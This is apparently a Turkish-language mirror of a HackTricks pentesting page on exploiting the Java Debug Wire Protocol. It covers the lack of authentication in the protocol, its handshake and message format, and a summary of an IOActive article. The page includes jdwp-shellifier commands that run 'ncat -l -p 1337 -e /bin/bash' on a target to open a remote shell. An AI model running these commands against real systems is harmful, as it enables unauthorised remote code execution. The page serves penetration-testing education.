mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
67 lines
4.6 KiB
Markdown
67 lines
4.6 KiB
Markdown
# Pentesting JDWP - Java Debug Wire Protocol
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Exploiting
|
||
|
||
JDWP istismarı, **protokolün kimlik doğrulama ve şifreleme eksikliğine** dayanır. Genellikle **port 8000** üzerinde bulunur, ancak diğer portlar da mümkündür. İlk bağlantı, hedef porta "JDWP-Handshake" gönderilerek yapılır. Eğer bir JDWP servisi aktifse, aynı dize ile yanıt verir ve varlığını onaylar. Bu el sıkışma, ağdaki JDWP hizmetlerini tanımlamak için bir parmak izi yöntemi olarak işlev görür.
|
||
|
||
Süreç tanımlaması açısından, Java süreçlerinde "jdwk" dizesini aramak, aktif bir JDWP oturumunu gösterebilir.
|
||
|
||
Kullanılan araç [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)dir. Farklı parametrelerle kullanabilirsiniz:
|
||
```bash
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||
```
|
||
`--break-on 'java.lang.String.indexOf'` kullanımının istismarı daha **kararlı** hale getirdiğini buldum. Eğer bir arka kapı yükleme ve bunu bir komut çalıştırmak yerine yürütme şansınız olursa, istismar daha da kararlı olacaktır.
|
||
|
||
## Daha fazla detay
|
||
|
||
**Bu, [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/) adresinin bir özetidir.** Daha fazla detay için kontrol edin.
|
||
|
||
1. **JDWP Genel Bakış**:
|
||
|
||
- Paket tabanlı bir ağ ikili protokoldür, öncelikle senkronizedir.
|
||
- Kimlik doğrulama ve şifreleme eksikliği, düşmanca ağlara maruz kaldığında savunmasız hale getirir.
|
||
|
||
2. **JDWP El Sıkışması**:
|
||
|
||
- İletişimi başlatmak için basit bir el sıkışma süreci kullanılır. Debugger (istemci) ve Debuggee (sunucu) arasında 14 karakterlik bir ASCII dizesi “JDWP-Handshake” değiştirilir.
|
||
|
||
3. **JDWP İletişimi**:
|
||
|
||
- Mesajlar, Uzunluk, Kimlik, Bayrak ve Komut Seti gibi alanlarla basit bir yapıya sahiptir.
|
||
- Komut Seti değerleri 0x40 ile 0x80 arasında değişir ve farklı eylem ve olayları temsil eder.
|
||
|
||
4. **İstismar**:
|
||
|
||
- JDWP, keyfi sınıfları ve bytecode'u yüklemeye ve çağırmaya izin verir, bu da güvenlik riskleri oluşturur.
|
||
- Makale, Java Runtime referanslarını alma, kesme noktaları ayarlama ve yöntemleri çağırma gibi beş adımda bir istismar sürecini detaylandırmaktadır.
|
||
|
||
5. **Gerçek Hayat İstismarı**:
|
||
|
||
- Potansiyel güvenlik duvarı korumalarına rağmen, JDWP hizmetleri keşfedilebilir ve gerçek dünya senaryolarında istismar edilebilir, bu da ShodanHQ ve GitHub gibi platformlarda yapılan aramalarla gösterilmektedir.
|
||
- İstismar betiği çeşitli JDK sürümlerine karşı test edilmiştir ve platformdan bağımsızdır, güvenilir Uzaktan Kod Yürütme (RCE) sunmaktadır.
|
||
|
||
6. **Güvenlik Etkileri**:
|
||
- İnternette açık JDWP hizmetlerinin varlığı, düzenli güvenlik incelemeleri yapma, üretimde hata ayıklama işlevlerini devre dışı bırakma ve uygun güvenlik duvarı yapılandırmalarının gerekliliğini vurgular.
|
||
|
||
### **Kaynaklar:**
|
||
|
||
- [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
||
- [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
||
- [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
||
- http://www.secdev.org/projects/scapy(no longer active)
|
||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||
- [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|